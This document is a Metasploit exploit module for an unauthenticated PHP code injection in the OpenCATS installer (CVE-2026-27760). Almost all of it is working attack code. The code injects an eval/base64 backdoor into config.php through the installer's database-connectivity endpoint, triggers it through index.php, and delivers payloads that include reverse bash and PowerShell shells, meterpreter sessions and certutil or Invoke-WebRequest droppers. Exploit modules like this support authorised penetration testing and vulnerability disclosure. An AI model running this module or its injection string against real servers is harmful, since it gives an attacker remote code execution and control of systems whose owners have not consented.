OpenCATS Installer PHP Code Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenCATS Installer PHP Code Injection',
        'Description' => %q{
          This module exploits an unauthenticated PHP code injection in the OpenCATS
          installer AJAX endpoint (CVE-2026-27760).

          The databaseConnectivity action passes the user POST parameter directly to
          changeConfigSetting(), which interpolates it into a define() statement in
          config.php without any sanitization. This only works when the installation
          wizard was never completed, meaning the INSTALL_BLOCK file is absent.

          The exploit injects an eval() backdoor into config.php, probes until the
          injected code is live (handles OPcache revalidation transparently), triggers
          the payload via index.php, and then restores config.php.
        },
        'Author' => [
          'Chocapikk', # Vulnerability discovery
          'stlthr4k3r' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-27760'],
          ['URL', 'https://chocapikk.com/posts/2026/opencats-installer-rce/'],
          ['URL', 'https://github.com/opencats/OpenCATS/commit/3002a29f4c3cada1aa2c4f3d4ae4e189906606b6']
        ],
        'Targets' => [
          [
            'PHP In-Memory', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP,
              'Type' => :php
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :cmd
              # tested with cmd/unix/reverse_bash
            }
          ],
          [
            'Windows Command', {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :cmd
              # tested with cmd/windows/reverse_powershell
            }
          ],
          [
            'Linux Dropper', {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
              'CmdStagerFlavor' => %w[printf bourne],
              'Type' => :dropper
              # tested with linux/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Dropper', {
              'Platform' => 'win',
              'Arch' => [ARCH_X64, ARCH_X86],
              'CmdStagerFlavor' => %w[psh_invokewebrequest certutil],
              'Type' => :dropper
              # tested with windows/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2026-04-28',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to OpenCATS', '/']),
      OptString.new('DB_USER', [true, 'DATABASE_USER value to restore in config.php after exploitation', 'cats'])
    ])
  end

  def check
    res = installer_request
    return CheckCode::Unknown('No response from target.') unless res
    return CheckCode::Safe('Installer is locked (INSTALL_BLOCK present).') if res.body.include?('installLocked')
    if res.body.include?('setActiveStep')
      return CheckCode::Appears('Installer AJAX endpoint is accessible and unprotected.')
    end

    CheckCode::Unknown('Unexpected response from installer endpoint.')
  end

  def exploit
    @param = Rex::Text.rand_text_alpha_lower(8)

    inject_payload(@param)
    trigger_payload(@param)
  ensure
    restore_config
  end

  def execute_command(cmd, _opts = {})
    trigger_php(php_exec_cmd(cmd), @param)
  end

  def installer_request(user: nil)
    opts = {
      'method' => user ? 'POST' : 'GET',
      'uri' => normalize_uri(target_uri.path, 'ajax.php'),
      'vars_get' => { 'f' => 'install:ui', 'a' => 'databaseConnectivity' }
    }
    opts['vars_post'] = { 'user' => user } if user
    send_request_cgi(opts)
  end

  def inject_payload(param)
    fake_user = Faker::Internet.username(specifier: 5..8)
    injection = "#{fake_user}');if(function_exists('opcache_reset')){opcache_reset();}eval(base64_decode(\$_POST['#{param}']));//"
    res = installer_request(user: injection)
    fail_with(Failure::UnexpectedReply, 'No response to injection request.') unless res

    print_good('PHP eval backdoor injected into config.php')
    wait_for_injection(param)
  end

  def wait_for_injection(param)
    nonce = Rex::Text.rand_text_alpha_lower(12)
    probe = Rex::Text.encode_base64("die('#{nonce}');")

    10.times do
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'vars_post' => { param => probe }
      )
      return if res&.body&.start_with?(nonce)

      sleep(1)
    end

    fail_with(Failure::UnexpectedReply, 'Injected code did not execute after 10 seconds.')
  end

  def trigger_payload(param)
    case target['Type']
    when :php
      trigger_php(payload.encoded, param)
    when :cmd
      trigger_php(php_exec_cmd(payload.encoded), param)
    when :dropper
      execute_cmdstager
    end
  end

  def trigger_php(code, param)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_post' => { param => Rex::Text.encode_base64(code) }
    )
  end

  def restore_config
    user = datastore['DB_USER']
    print_status("Restoring config.php with user '#{user}'...")
    installer_request(user: user)
    print_good('config.php restored.')
  rescue StandardError
    print_warning('Could not restore config.php - manual cleanup may be required.')
  end
end